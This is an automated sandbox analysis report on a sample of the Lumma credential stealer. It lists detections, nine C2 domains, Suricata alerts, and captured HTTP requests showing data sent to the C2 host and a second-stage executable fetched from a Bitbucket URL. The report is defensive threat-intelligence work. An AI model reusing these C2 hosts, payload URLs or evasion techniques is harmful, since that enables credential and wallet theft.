Edit tour

Windows Analysis Report
j6ks0Fxu6t.exe

Overview

General Information

Sample name:	j6ks0Fxu6t.exe renamed because original name is a hash value
Original sample name:	60f8310a2931ca33419849ea4d202acb.exe
Analysis ID:	1580379
MD5:	60f8310a2931ca33419849ea4d202acb
SHA1:	d1afab1d455ac687ff6d3efa7e30a568c7f28c64
SHA256:	dcc08093474c9adcea3e30aace3c71b8f9190260c03ae08c668fcb57ac41edcb
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

j6ks0Fxu6t.exe (PID: 6596 cmdline: "C:\Users\user\Desktop\j6ks0Fxu6t.exe" MD5: 60F8310A2931CA33419849EA4D202ACB)

WerFault.exe (PID: 5936 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6596 -s 832 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["tentabatte.lat", "slipperyloo.lat", "curverpluch.lat", "shapestickyr.lat", "bashfulacid.lat", "talkynicer.lat", "observerfry.lat", "wordyfindy.lat", "manyrestro.lat"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1848771785.0000000000F94000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1849009282.0000000000FA5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1847566781.0000000000FE3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1847646303.0000000000F92000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: j6ks0Fxu6t.exe PID: 6596	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: j6ks0Fxu6t.exe PID: 6596	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: j6ks0Fxu6t.exe PID: 6596	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: j6ks0Fxu6t.exe PID: 6596	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 4 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T12:39:03.177717+0100	2028371	3	Unknown Traffic	192.168.2.4	49730	104.21.36.201	443	TCP
2024-12-24T12:39:05.165311+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	104.21.36.201	443	TCP
2024-12-24T12:39:07.611187+0100	2028371	3	Unknown Traffic	192.168.2.4	49732	104.21.36.201	443	TCP
2024-12-24T12:39:10.023837+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	104.21.36.201	443	TCP
2024-12-24T12:39:12.404115+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	104.21.36.201	443	TCP
2024-12-24T12:39:15.281384+0100	2028371	3	Unknown Traffic	192.168.2.4	49735	104.21.36.201	443	TCP
2024-12-24T12:39:17.743600+0100	2028371	3	Unknown Traffic	192.168.2.4	49736	104.21.36.201	443	TCP
2024-12-24T12:39:23.521472+0100	2028371	3	Unknown Traffic	192.168.2.4	49741	104.21.36.201	443	TCP
2024-12-24T12:39:25.834218+0100	2028371	3	Unknown Traffic	192.168.2.4	49743	185.166.143.50	443	TCP
2024-12-24T12:39:28.073702+0100	2028371	3	Unknown Traffic	192.168.2.4	49745	52.216.216.113	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T12:39:03.933157+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49730	104.21.36.201	443	TCP
2024-12-24T12:39:05.959993+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	104.21.36.201	443	TCP
2024-12-24T12:39:24.303410+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49741	104.21.36.201	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T12:39:03.933157+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49730	104.21.36.201	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T12:39:05.959993+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49731	104.21.36.201	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T12:39:10.985943+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49733	104.21.36.201	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: j6ks0Fxu6t.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://observerfry.lat/9K	Avira URL Cloud: Label: malware
Source: https://observerfry.lat/apiL	Avira URL Cloud: Label: malware
Source: https://observerfry.lat/pi8	Avira URL Cloud: Label: malware
Source: https://observerfry.lat/apip	Avira URL Cloud: Label: malware
Source: https://observerfry.lat/s	Avira URL Cloud: Label: malware
Source: https://observerfry.lat/apilite5y	Avira URL Cloud: Label: malware

Found malware configuration

Source: j6ks0Fxu6t.exe.6596.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["tentabatte.lat", "slipperyloo.lat", "curverpluch.lat", "shapestickyr.lat", "bashfulacid.lat", "talkynicer.lat", "observerfry.lat", "wordyfindy.lat", "manyrestro.lat"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for submitted file

Source: j6ks0Fxu6t.exe

ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: j6ks0Fxu6t.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2314166158.0000000000571000.00000040.00000001.01000000.00000003.sdmp	String decryptor: bashfulacid.lat
Source: 00000000.00000002.2314166158.0000000000571000.00000040.00000001.01000000.00000003.sdmp	String decryptor: tentabatte.lat
Source: 00000000.00000002.2314166158.0000000000571000.00000040.00000001.01000000.00000003.sdmp	String decryptor: curverpluch.lat
Source: 00000000.00000002.2314166158.0000000000571000.00000040.00000001.01000000.00000003.sdmp	String decryptor: talkynicer.lat
Source: 00000000.00000002.2314166158.0000000000571000.00000040.00000001.01000000.00000003.sdmp	String decryptor: shapestickyr.lat
Source: 00000000.00000002.2314166158.0000000000571000.00000040.00000001.01000000.00000003.sdmp	String decryptor: manyrestro.lat
Source: 00000000.00000002.2314166158.0000000000571000.00000040.00000001.01000000.00000003.sdmp	String decryptor: slipperyloo.lat
Source: 00000000.00000002.2314166158.0000000000571000.00000040.00000001.01000000.00000003.sdmp	String decryptor: wordyfindy.lat
Source: 00000000.00000002.2314166158.0000000000571000.00000040.00000001.01000000.00000003.sdmp	String decryptor: observerfry.lat
Source: 00000000.00000002.2314166158.0000000000571000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2314166158.0000000000571000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2314166158.0000000000571000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2314166158.0000000000571000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2314166158.0000000000571000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.2314166158.0000000000571000.00000040.00000001.01000000.00000003.sdmp	String decryptor: LOGS11--LiveTraffic

Source: j6ks0Fxu6t.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.166.143.50:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.216.216.113:443 -> 192.168.2.4:49745 version: TLS 1.2

Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\PlaceholderTileLogoFolder	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Comms	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Packages	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Mozilla	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\PeerDistRepub	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49731 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49733 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49741 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 104.21.36.201:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: tentabatte.lat
Source: Malware configuration extractor	URLs: slipperyloo.lat
Source: Malware configuration extractor	URLs: curverpluch.lat
Source: Malware configuration extractor	URLs: shapestickyr.lat
Source: Malware configuration extractor	URLs: bashfulacid.lat
Source: Malware configuration extractor	URLs: talkynicer.lat
Source: Malware configuration extractor	URLs: observerfry.lat
Source: Malware configuration extractor	URLs: wordyfindy.lat
Source: Malware configuration extractor	URLs: manyrestro.lat

Source: Joe Sandbox View	IP Address: 104.21.36.201 104.21.36.201
Source: Joe Sandbox View	IP Address: 185.166.143.50 185.166.143.50

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49730 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49736 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49732 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49745 -> 52.216.216.113:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49741 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49743 -> 185.166.143.50:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 104.21.36.201:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 53Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=0YWMZHMNN3HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18127Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=HHLZRB7W61XO84User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8766Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=03BWRWRB52YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20401Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=03K4BXQC70KVUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1245Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=MAA11A2CALJYV2HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 552315Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 88Host: observerfry.lat
Source: global traffic	HTTP traffic detected: GET /mynewworkspace123312/scnd/downloads/FormattingCharitable.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: bitbucket.org
Source: global traffic	HTTP traffic detected: GET /70e84e0b-e14f-45c5-ab65-07760e9609fc/downloads/eaef3307-3cc1-464c-9988-4c3c4d541130/FormattingCharitable.exe?response-content-disposition=attachment%3B%20filename%3D%22FormattingCharitable.exe%22&AWSAccessKeyId=ASIA6KOSE3BNAJIHW6MI&Signature=DYojS6kYXK8tDPuxWid2XGMMgzc%3D&x-amz-security-token=IQoJb3JpZ2luX2VjECQaCXVzLWVhc3QtMSJGMEQCID%2Bhk6vRPsRl4SHe6CrcJadseSKzctRdUX%2FvGXdZm%2BFrAiA001Wtq5n67kTyPgNDh5FhRyYx7hnV7OfFNd%2BxR6NA1CqwAgjt%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F8BEAAaDDk4NDUyNTEwMTE0NiIM62K3PVsO%2BY448G0%2FKoQCK%2Fv60WggJvlDphrHd5zmdUNk2kXzhl2RLFXVgBlZTMQlRA13gbWfv2ofvndvVTSN%2FkrYrCulHe3AqSdqnAQcyL%2FJlcmAlu2Q%2Fh7zJ35sLql1uVW4LQMDXyUCEYUi4bvlE65v4v66dFIhR7KgsEHCw6pXZRKBkGf0CK0sqCzWO%2BRcUV2A%2FMSRwAC7V29Rl759sQG8eSzB%2FZNBMOrkHc6Bbk761T0%2FCvptH55JQ2rFLI9X2ta5s21o6xE7JeSe9IIqsi6o7HSs0bchw2CCb76d3cYWdx%2Bm4LNJcjm9ZWDnZ6850MAE9dXRoGucag7YaB2IrrqzUpHncFOfVsV%2Ff8aExwuqIMgwvLSquwY6ngFCMqKHtEYDcyB3WTS20Qj8Uq5Qxh7oBgvEAP%2Bv2PeEmBxRhoUdgJqKZ%2FY2OA1J6X5xaqFlGDmorOrh9Oog9i9zEYOUKNak09KnEbDGo5SeclrqYmK7J3p%2FzkXxinhOdWXijXK11hqk31iulupw73IKJMd14Kz73kjPoLYCm4x011KV2UyHkzWi%2BH9UIkDRR0EFS7%2FMKmx7Th2Yf5K4NA%3D%3D&Expires=1735041348 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: bbuseruploads.s3.amazonaws.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /mynewworkspace123312/scnd/downloads/FormattingCharitable.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: bitbucket.org
Source: global traffic	HTTP traffic detected: GET /70e84e0b-e14f-45c5-ab65-07760e9609fc/downloads/eaef3307-3cc1-464c-9988-4c3c4d541130/FormattingCharitable.exe?response-content-disposition=attachment%3B%20filename%3D%22FormattingCharitable.exe%22&AWSAccessKeyId=ASIA6KOSE3BNAJIHW6MI&Signature=DYojS6kYXK8tDPuxWid2XGMMgzc%3D&x-amz-security-token=IQoJb3JpZ2luX2VjECQaCXVzLWVhc3QtMSJGMEQCID%2Bhk6vRPsRl4SHe6CrcJadseSKzctRdUX%2FvGXdZm%2BFrAiA001Wtq5n67kTyPgNDh5FhRyYx7hnV7OfFNd%2BxR6NA1CqwAgjt%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F8BEAAaDDk4NDUyNTEwMTE0NiIM62K3PVsO%2BY448G0%2FKoQCK%2Fv60WggJvlDphrHd5zmdUNk2kXzhl2RLFXVgBlZTMQlRA13gbWfv2ofvndvVTSN%2FkrYrCulHe3AqSdqnAQcyL%2FJlcmAlu2Q%2Fh7zJ35sLql1uVW4LQMDXyUCEYUi4bvlE65v4v66dFIhR7KgsEHCw6pXZRKBkGf0CK0sqCzWO%2BRcUV2A%2FMSRwAC7V29Rl759sQG8eSzB%2FZNBMOrkHc6Bbk761T0%2FCvptH55JQ2rFLI9X2ta5s21o6xE7JeSe9IIqsi6o7HSs0bchw2CCb76d3cYWdx%2Bm4LNJcjm9ZWDnZ6850MAE9dXRoGucag7YaB2IrrqzUpHncFOfVsV%2Ff8aExwuqIMgwvLSquwY6ngFCMqKHtEYDcyB3WTS20Qj8Uq5Qxh7oBgvEAP%2Bv2PeEmBxRhoUdgJqKZ%2FY2OA1J6X5xaqFlGDmorOrh9Oog9i9zEYOUKNak09KnEbDGo5SeclrqYmK7J3p%2FzkXxinhOdWXijXK11hqk31iulupw73IKJMd14Kz73kjPoLYCm4x011KV2UyHkzWi%2BH9UIkDRR0EFS7%2FMKmx7Th2Yf5K4NA%3D%3D&Expires=1735041348 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: bbuseruploads.s3.amazonaws.com

Source: global traffic	DNS traffic detected: DNS query: observerfry.lat
Source: global traffic	DNS traffic detected: DNS query: bitbucket.org
Source: global traffic	DNS traffic detected: DNS query: bbuseruploads.s3.amazonaws.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: observerfry.lat

Source: j6ks0Fxu6t.exe, j6ks0Fxu6t.exe, 00000000.00000003.2003025402.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.2028623304.0000000000FF5000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2316240457.0000000000FF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: j6ks0Fxu6t.exe, 00000000.00000003.2003025402.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.2028623304.0000000000FF5000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2316240457.0000000000FF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeocY
Source: j6ks0Fxu6t.exe, 00000000.00000003.2028531317.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2318223683.0000000005674000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: j6ks0Fxu6t.exe, 00000000.00000003.1819133483.000000000569E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: j6ks0Fxu6t.exe, 00000000.00000003.1819133483.000000000569E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: j6ks0Fxu6t.exe, 00000000.00000003.2028531317.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: j6ks0Fxu6t.exe, 00000000.00000003.2028531317.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2318223683.0000000005674000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: j6ks0Fxu6t.exe, 00000000.00000002.2316056506.0000000000F93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0U
Source: j6ks0Fxu6t.exe, 00000000.00000003.2028531317.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2318223683.0000000005674000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: j6ks0Fxu6t.exe, 00000000.00000003.1869872872.0000000000F94000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1770270270.0000000000F94000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1848771785.0000000000F94000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1770475123.0000000000FA5000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1748117451.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1849009282.0000000000FA5000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1847646303.0000000000F92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microP
Source: j6ks0Fxu6t.exe, 00000000.00000003.1819133483.000000000569E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: j6ks0Fxu6t.exe, 00000000.00000003.2028531317.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2318223683.0000000005674000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: j6ks0Fxu6t.exe, 00000000.00000003.1819133483.000000000569E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: j6ks0Fxu6t.exe, 00000000.00000003.1819133483.000000000569E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: j6ks0Fxu6t.exe, 00000000.00000003.2028531317.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTru$
